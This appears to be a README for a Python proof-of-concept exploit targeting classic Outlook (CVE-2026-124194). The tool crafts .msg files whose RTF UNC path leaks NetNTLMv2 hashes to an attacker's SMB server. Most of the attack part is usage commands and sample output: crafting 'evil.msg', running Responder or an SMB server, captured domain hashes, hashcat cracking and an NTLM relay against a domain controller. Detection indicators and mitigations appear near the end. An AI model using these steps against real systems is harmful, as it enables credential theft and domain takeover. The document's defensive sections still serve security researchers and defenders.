
Python PoC for CVE-2026-124194: crafts Outlook .msg files with RTF INCLUDEPICTURE UNC paths to capture NetNTLMv2 hashes, with SMB server, relay, and detection modes.
Classic Outlook for Windows connects to an attacker-controlled UNC path embedded in a crafted .msg file without displaying the external-content warning it normally shows. Windows then performs an automatic NTLM authentication handshake to the attacker's SMB server, leaking the victim's NetNTLMv2 credential hash. The hash can be cracked offline or used in a real-time NTLM relay attack. This was actively exploited in the wild before the November 2026 Patch Tuesday and was added to CISA's KEV catalog with a 24 November 2026 remediation deadline.
| Field | Value |
|---|---|
| CVE | CVE-2026-124194 |
| CVSS 3.1 | 6.5 Medium — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N |
| CWE | CWE-356 (Product UI Does Not Warn User of Unsafe Actions) |
| Affected | Classic Outlook for Windows in Microsoft 365 Apps, Office LTSC 2024, Office LTSC 2021 (before Nov 10, 2026 builds) |
| Not affected | New Outlook for Windows, Outlook on the web, Outlook for Mac, mobile apps |
| Preview Pane | Not an attack vector — file must be opened |
| Fixed | November 10, 2026 Patch Tuesday (Office update) |
| KEV | CISA added 2026-11-10, federal deadline 2026-11-24 |
| Auth Required | None — attacker needs no account |
| Disclosed | 2026-11-10 |
Outlook processes a crafted .msg file containing an RTF body with an INCLUDEPICTURE or INCLUDETEXT field referencing a UNC path (\attacker\share\file). The code path that resolves this reference bypasses the external-content consent dialog introduced in earlier security hardening. Windows' NTLM SSP automatically authenticates to the attacker's SMB server, handing over the victim's NetNTLMv2 challenge-response.
The leaked value is a NetNTLMv2 hash — not the NT hash, so it cannot be used directly for pass-the-hash. However, it can be:
ntlmrelayxflowchart LR
A([Attacker]) -->|Email: crafted .msg attachment| B[Victim\nClassic Outlook]
B -->|Opens .msg file\nno external-content warning| C[Outlook resolves\nUNC path in RTF field]
C -->|\attacker-ip\share\file| D[Attacker SMB Server\nResponder / ntlmrelayx]
D -->|NTLM challenge| C
C -->|NetNTLMv2 response| D
D --> E([Hash captured\noffline crack or relay])
style A fill:#3d1a1a,stroke:#f85149,color:#f85149
style E fill:#1a1f2e,stroke:#f85149,color:#f85149
Warning: Lab environment only. Run an isolated Windows VM with classic Outlook installed. Never send crafted
.msgfiles to real targets.
pip install impacket pywin32 # Windows lab only
# Or use Responder for hash capture:
# sudo responder -I eth0 -wv
# Option A: Responder (Linux attacker)
sudo python3 Responder.py -I eth0 -wv
# Option B: impacket smbserver (cross-platform)
python3 poc.py --mode server --ip 10.10.10.1 --port 445
python3 poc.py --mode craft \
--attacker-ip 10.10.10.1 \
--out evil.msg
Expected output:
[*] crafting evil.msg
[*] embedding UNC path: \10.10.10.1\share\loot.jpg
[+] written: evil.msg (8.2 KB)
[*] deliver via email to target running classic Outlook
[*] target must OPEN the file (preview pane is safe)
After the victim opens evil.msg, the SMB server receives:
[SMB] NTLMv2-SSP Client : 192.168.1.50
[SMB] NTLMv2-SSP Username : CORP\jsmith
[SMB] NTLMv2-SSP Hash : jsmith::CORP:aad3b435b51404ee:...
[!] HASH CAPTURED — save to hashes.txt
# Offline crack
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
# Real-time relay (ntlmrelayx)
python3 poc.py --mode relay \
--target-smb //dc01.corp.local \
--hashes-file hashes.txt
| Flag | Description |
|---|---|
--mode server|craft|relay | Operation mode |
--ip IP | Attacker IP embedded in UNC path / server bind address |
--port N | SMB server port (default: 445) |
--out FILE | Output .msg path (default: evil.msg) |
--attacker-ip IP | Attacker IP for craft mode |
--target-smb URL | Target SMB for relay mode |
--hashes-file FILE | Hash file for relay mode |
After installing the November 2026 Office update, Outlook shows an external-content warning before resolving the UNC path, and the connection is blocked by default:
[*] Outlook displayed external-content warning (blocked)
[+] NOT vulnerable — no NTLM authentication attempt observed
| Indicator | Notes |
|---|---|
| Outbound SMB (TCP 445) to external IP from Outlook process | Windows Firewall / network IDS alert |
outlook.exe → msv1_0.dll NTLM auth to unknown host | EDR process/network correlation |
.msg attachment opened followed by outbound port 445 | SIEM rule: process=outlook, dst_port=445 within 5s |
| CISA KEV rule for CVE-2026-124194 | Tenable, Qualys, Rapid7 plugin |
An attacker can capture the victim's domain credentials (NetNTLMv2) by sending a single email. No interaction beyond opening the file is required. With NTLM relay, full domain compromise is possible without cracking if services accept NTLM without signing enforcement.
| Action | Detail |
|---|---|
| Install November 2026 Office update | Microsoft 365 Apps, LTSC 2024/2021 — patch by 2026-11-24 (CISA KEV deadline) |
| Block outbound SMB | Firewall rule: block TCP 445 from client workstations to internet |
| Enable NTLM relay protections | SMB signing on all hosts, EPA on IIS/Exchange |
| Migrate to New Outlook | Not affected by this CVE |
Disclaimer: For authorized security research and controlled lab use only. MIT License.